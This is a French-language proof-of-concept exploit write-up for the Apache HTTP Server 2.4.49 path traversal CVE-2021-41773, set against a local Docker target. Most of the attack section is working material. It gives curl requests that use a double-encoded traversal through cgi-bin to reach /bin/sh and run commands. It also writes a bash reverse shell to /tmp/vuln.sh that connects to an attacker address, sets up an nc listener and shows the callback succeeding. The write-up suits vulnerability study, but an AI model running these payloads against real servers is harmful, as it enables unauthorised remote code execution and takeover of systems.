
Exploit de preuve de concept pour la vulnérabilité de traversée de chemin du serveur HTTP Apache 2.4.49 (CVE-2021-41773) avec démonstration d'exécution de code à distance et de reverse shell.
Une faille a été découverte dans une modification apportée à la normalisation des chemins dans Apache HTTP Server 2.4.49. Un attaquant pourrait utiliser une attaque de traversée de chemin pour mapper des URL vers des fichiers en dehors des répertoires configurés par des directives de type Alias.
Si les fichiers en dehors de ces répertoires ne sont pas protégés par la configuration par défaut habituelle « require all denied », ces requêtes peuvent réussir. Si les scripts CGI sont également activés pour ces chemins aliasés, cela pourrait permettre l'exécution de code à distance.
Ce problème est connu pour être exploité dans la nature.
Ce problème n'affecte qu'Apache 2.4.49 et non les versions antérieures.
Une attaque de traversée de chemin (également connue sous le nom de directory traversal) vise à accéder à des fichiers et répertoires stockés en dehors du dossier racine web. En manipulant des variables qui référencent des fichiers avec des séquences « point-point-slash (../) » et ses variations, ou en utilisant des chemins de fichiers absolus, il peut être possible d'accéder à des fichiers et répertoires arbitraires stockés sur le système de fichiers, y compris le code source de l'application ou des fichiers de configuration et système critiques. Il convient de noter que l'accès aux fichiers est limité par le contrôle d'accès opérationnel du système (comme dans le cas de fichiers verrouillés ou en cours d'utilisation sur le système d'exploitation Microsoft Windows).
Cette attaque est également connue sous le nom de « dot-dot-slash », « directory traversal », « directory climbing » et « backtracking ».
$ docker-compose build
$ docker-compose up
Confirmer que cela fonctionne
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Victime : localhost:1234
Attaquant : 192.168.1.12
Selon la documentation, il s'agit d'une faille qui permet d'exécuter du code à distance (RCE).
Nous pouvons l'exploiter en faisant un curl avec le dossier cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Voyons si nous avons réellement accès à la commande, par exemple id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Nous allons tester un reverse shell en créant un fichier bash sur le serveur de la victime.
Prenons comme exemple le reverse shell en bash trouvé sur le dépôt PayloadsAllTheThings.
Voici un exemple :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Créons le fichier vuln.sh sur la machine de la victime dans le dossier /tmp/ !
Ce fichier contiendra notre reverse shell que nous pourrons exécuter à distance. Il se connectera à notre machine locale sur le port 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Vous pouvez vérifier le contenu du fichier avec la commande cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener avec ncat
Créons le listener sur la machine locale.
$ nc -lvnp 44
Il ne reste plus qu'à exécuter le fichier distant.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Réponse :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.